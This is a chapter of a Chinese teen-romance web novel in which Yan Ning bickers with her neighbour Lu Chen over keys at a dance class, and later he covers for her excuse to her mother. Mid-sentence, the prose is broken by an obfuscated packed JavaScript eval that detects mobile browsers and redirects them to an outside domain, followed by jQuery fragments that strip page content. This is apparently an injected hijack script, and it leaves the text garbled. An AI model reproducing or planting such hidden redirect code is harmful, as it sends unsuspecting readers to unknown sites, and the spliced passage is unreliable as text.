“姐姐?”
那近在咫尺,刻意压低的嗓音,像是带了电。
严宁被他这一声,有些调笑意味的称呼惊了下,拿着的钥匙也跟着烫手。
她顾不上再想东想西,慌张间,把钥匙往他手上匆忙一丢,却不想用力过猛,失了准头——
那串金属制品,以远高于对面那人的手掌,和颇快的速度,擦着他的肩头,就往斜后方飞去。
“诶——”
严宁的惊呼刚出口。
却见,路琛连头都没侧,抬手,向后一抓,钥匙就这么稳稳地回到了他手心里。
严宁才松了一口气。
路琛随手把玩着指尖的钥匙,垂眸,看她,又笑,“也不用这么着急的,姐姐?”
严宁:……
他干嘛还叫她“姐姐”?
她刚刚之所以这么自称,是误以为对方是小朋友!
但他又、不、是!!
严宁难得有些恼怒,较真道:
“你是什么时候的生日?我不一定比你大,你不能这么直接叫我!”
“明年1月31,我十六岁生日。”
这人好整以暇,答得倒是快,甚至还又理所当然地问了一句,“那你呢?”
严宁没直接回答,但一脸认真:
“那就不许叫!”
其实,她和他同龄,是6月9号的生日,比他小了几个月。
“这样啊——”
路琛抱着胳膊,作思考状:
“那我是不是,该说一声……”
妹妹。
他故意拖着尾音,没有直说。
而她,就在脑海中补全了后半句。
和之前,两相对比,根本没有半点变好!
偏偏还是她自己较真要问的,就像挖了个坑,给自己跳……
严宁在懊恼中,耳根泛起点点热意,那句——“也不许叫!”还没出口。
却就听路琛道:
“我的错,都听你的。”
他言辞恳切,妥协又道歉。
好像一切真是她想太多……
严宁反而是,一点脾气都没有了。
她只能正正心神,避开路琛看过来的目光,把注意力全都拉回到来这里的正事上:
“大概半个多小时之前,赵爷爷接了电话,说岑奶奶脚崴到了,她们应该去了医院,我不知道岑奶奶的情况严不严重,你等会儿记得打电话问一下吧。还有,老人家给你钥匙,应该是要你照顾阳台的花草。”
语速飞快。
仿佛没有感情,开了倍速的朗读机。
“问过了,不严重。”
“奶奶留在医院,再做些常规体检之后,就会回来。阳台的花,我会去看的。”
路琛把那串钥匙,放进休闲裤口袋,声音温柔,带了些安抚意味:
“别担心。”
听到岑奶奶没事,严宁的心,稍静了一些。
然后,这才随着眼前人刚才的动作,注意到,他这一身装扮——
灰色连帽卫衣、黑色裤子。
不就是……
刚刚在舞蹈班前面教学的老师?
耳边,从玻璃门那儿飘来的细微音乐声,仍在继续。
严宁后知后觉地反应过来——
他一早就知道她要来。
所以,暂停上课,出来找她?
许是她方才上下打量的动作太明显,路琛的声音,淡淡从头顶飘来:
“怎么,好奇什么?”
“你,是这里的……”
老师吗?
“路琛哥哥!”
严宁的后半句话,完全被旁边突然冒出来的一颗小脑袋拦停——是刚才跑去上厕所的小男孩。
他站在两人中间,睁大一双好奇的眼睛,眨巴眨巴地,左瞧瞧,右看看。
然后,童言无忌,语出惊人:
“你和这个漂亮姐姐,是那种关系吗?”
那、种、关、系。
有这样指代不明的形容词做前缀,无端让后面的“关系”,更生出些旖旎暧昧……
严宁连连摆手,正要否认。
“哪种关系,”
路琛纠正了发音,低头,伸手呼噜了下小朋友的脑袋,“这不好说。”
他话说得似真非假,不像光哄小孩的推辞,甚至又侧头,抬眸,看了她一眼。
严宁摇摆的手,早就停住了。
见他看过来,抿唇,没说话,也没制止。
路琛唇角上扬的弧度,明显提高一厘米。
然后,转回头去,继续道:
“我得先跟漂亮姐姐确认后,才能告诉你。”
严宁:……
虽然他是重复了小男孩的话。
不管故意与否,但这个称呼,还是让她有些不自在地,脸上微微一红。
而始作俑者泰然自若,轻拍了下小男孩的头。
“先回去上课。”
小男孩应了声,欢快地跑了。
眼瞧对面那人,目光又转投过来。
严宁索性按捺下混乱的心绪,绷着脸,迎面看过去,先发制人:
“你要确认什么?”
路琛轻笑了声。
“只是想确认一下,”
他又俯身,靠近她。那种沐浴过后,淡淡的,柑橘味的皂荚香气又丝丝缕缕地飘散过来。
“我们现在,是不是认识的关系。”
严宁:?
路琛压低的声线继续道,“因为,这里,也有同学在啊……”
严宁心下一惊,下意识地望了一眼培训班。
但玻璃门内,满地的小萝卜头告诉她——
她肯定。
是上当受骗了。
严宁平静地收回目光,语气笃定地道:
“你也是小学生。”
不想,那人点头附和。
“以前是。”
“而且那时,在这里学了舞,现在兼职代课,所以,某种意义上,他们也算我的同学。”
明明是诡辩!
可又一时让人挑不出什么错来……
见她哑口。
他肩膀耸动了下,没忍住,轻笑出声。
严宁:……
她看向他,视野中,灰色连帽衫的帽兜上,有两根白色的带子。
她想——
要不把他勒死算了。
路琛笑完,注意到眼前女孩的视线,正虎视眈眈地盯着自己。
他平静道,“你是不是,想勒死我?”
一下就被猜中。
严宁都怀疑他是不是在她脑子里装了监视器。
还是她就这么好猜。
想的都写在了脸上?
知道这是玩笑。
严宁还是一时有些咽不下这口气,所以,不服输地点了下头,“对。”
然而——
下一秒,他就俯身。
卫衣带子垂到了严宁抬手可及的地方。
“那,给你勒。”
他的语气太纵容。
严宁有一瞬间的微怔。
两人毕竟根本没有熟到,可以随意触碰对方的地步。
可是偏偏,她海口又夸出去了……
路琛停了几秒。
似乎是真的在给严宁机会,来伸手勒他。
见严宁一直没有动手的打算。
路琛才缓缓起身。
然后,就见——
严宁抬手,在隔了几厘米的地方,做了一个用力收紧两边帽子带子的动作。
“好了,我勒过了。”
大功告成。
严宁拍拍手,自己都佩服自己的机智。
一抬眸,就看到路琛明显在怔愣。
严宁心情更好,大人有大量地:“这样我们就扯平了。”
四目交接。
然而,对面那人不语,就这么静静地垂眸看她。
距离很近。
严宁甚至能从那双墨色的眸子中,看到自己的倒影。
他盯着她看了有足足三秒。
严宁的情绪,从诧异,不知所措,到抿唇,有一点点恼怒。
在她即将生气时。
他终于收回了视线。
仰头,抬手,扶额,毫无顾忌地爽朗笑出了声。
“你怎么,”
“这么好哄的?”
严宁不太懂他在笑什么。
只是脸颊渐渐滚烫,在想——
要不。
还是勒死他算了……
-
10月4号。
天气晴朗,室外微微有风。
上午,严宁背着书包出了门,坐公交车,去上了数学补习班。
快到放学的时候,培训学校的班主任过来通知说:
下午原本上的生物课,因为老师航班出了问题,在外地还没赶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996044|178171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回来,也只能临时取消。
中午回家吃饭。
严宁把补习班的情况,跟林心慈说了。
林心慈随口应道,“那正好,你任阿姨、陈阿姨她们都回来了,下午有个聚餐,你跟妈妈一起去吧。”
严宁去夹菜的手一顿——
她不想去。
任阿姨、陈阿姨,都是林心慈的老同学,和林心慈算是知己一般的存在。
虽然阿姨们人都很好,对待她,也完全像是女儿一般。
也就是说。
冗长的聚会上,阿姨们不光会关心她近来是否又长高、长大,也一定会问她许许多多关于学习的问题……
所以,一想到那个画面,严宁就不由在心里打起了退堂鼓。
筷子戳了下碗里的米饭。
严宁纠结了下,还是抬头,尽力神色如常道:
“妈妈,我下午想去对门,昨天和赵老师讲完题,我又有一些新问题想请教老师。”
这不算假话,严宁是真有问题想问。
但她没提的,是她不知道赵老师在不在,也真不想去那场聚会。
可知女莫若母。
林心慈扫了一眼过来,显然是看出了严宁内心,那一点不想去聚餐的小九九。
“那行,我等会儿把你先送到对门再走。”
严宁:……
完蛋。
听昨天电话的意思,赵爷爷、岑奶奶去了医院,大概率不是当天就会回来的。
她昨天虽然没有和妈妈提医院的事,但,她有种感觉,妈妈很可能已经猜到了……
而且,如果两位老人都不在。
唯一可能在对面的,应该只有——路琛。
严宁内心忐忑不安,但事已至此,她现在再把之前的话推翻,面临的,只有一个必败的结果。
而,如果去对门……
不管门开与不开。
里面出现的是谁。
她若能随机应变的话,说不定,还有一线生机。
严宁这么想着,下决心,要赌一把。
但,当302室的门一开,里面真的出现一个路琛的时候——
严宁的心跳,还是不由骤然加快。
一见到门外的林心慈和严宁。
路琛先把目光落点在林心慈身上,问了句:
“阿姨好。”
礼貌,又微微疏离。
完全是面对生人的态度。
林心慈打眼一看,就觉得他眼熟,停顿了下,便想起了之前那次在楼道里的偶遇,有些惊喜:
“哎呀,是你这孩子啊!”
接下来的寒暄几句。
路琛的全程表现,都跟上次偶遇一样,滴水不漏地,又尤为显得乖巧。
林心慈明显对他印象还是很好,末了,才终于说明了来意:“赵老师现在在家吗?我家这孩子,有些问题想要请教赵老师。”
那一刻,严宁抱着笔记本和卷子,站在一旁,心脏几乎要跳到嗓子眼。
借由投向室内的目光,她几乎可以肯定——
赵爷爷不在。
因为,衣架和鞋柜上,赵爷爷昨天出门时穿走的衣服、鞋子,都没有。
虽然来之前也已经设想了,好几种不同情况的应对办法。
但严宁从小循规蹈矩,根本没有过什么撒谎的经验,对于谎言可能戳破的未知,难免还是有些恐惧……
严宁正要开口时——
路琛的视线,甚至都没有往严宁这边偏移,便从善如流地道:“赵老师和奶奶他们在午休,要不,我现在去叫一下?”
他就这样。
默契地。
毫无破绽地。
当了她的共犯。
路琛说完,作势就要回头去喊人。
林心慈不疑有他,连忙摆手,出声制止:“不用不用,让这孩子在这儿等一会就好了。”
于是,严宁就这样进到了对面302。
门一关。
室内安静。
严宁屏住呼吸,站在玄关,听着林心慈的脚步声渐渐远离,然后,消失。
可另一种紧张,又慢慢爬上心头。
因为入目可及之处,站着那个刚刚帮了她,此刻距离她不到一米,斜倚墙壁,抱着胳膊,闲闲淡笑看过来的少年。
也因为,她意识到——
现在。
在这间房间里,就只有,她与他两人。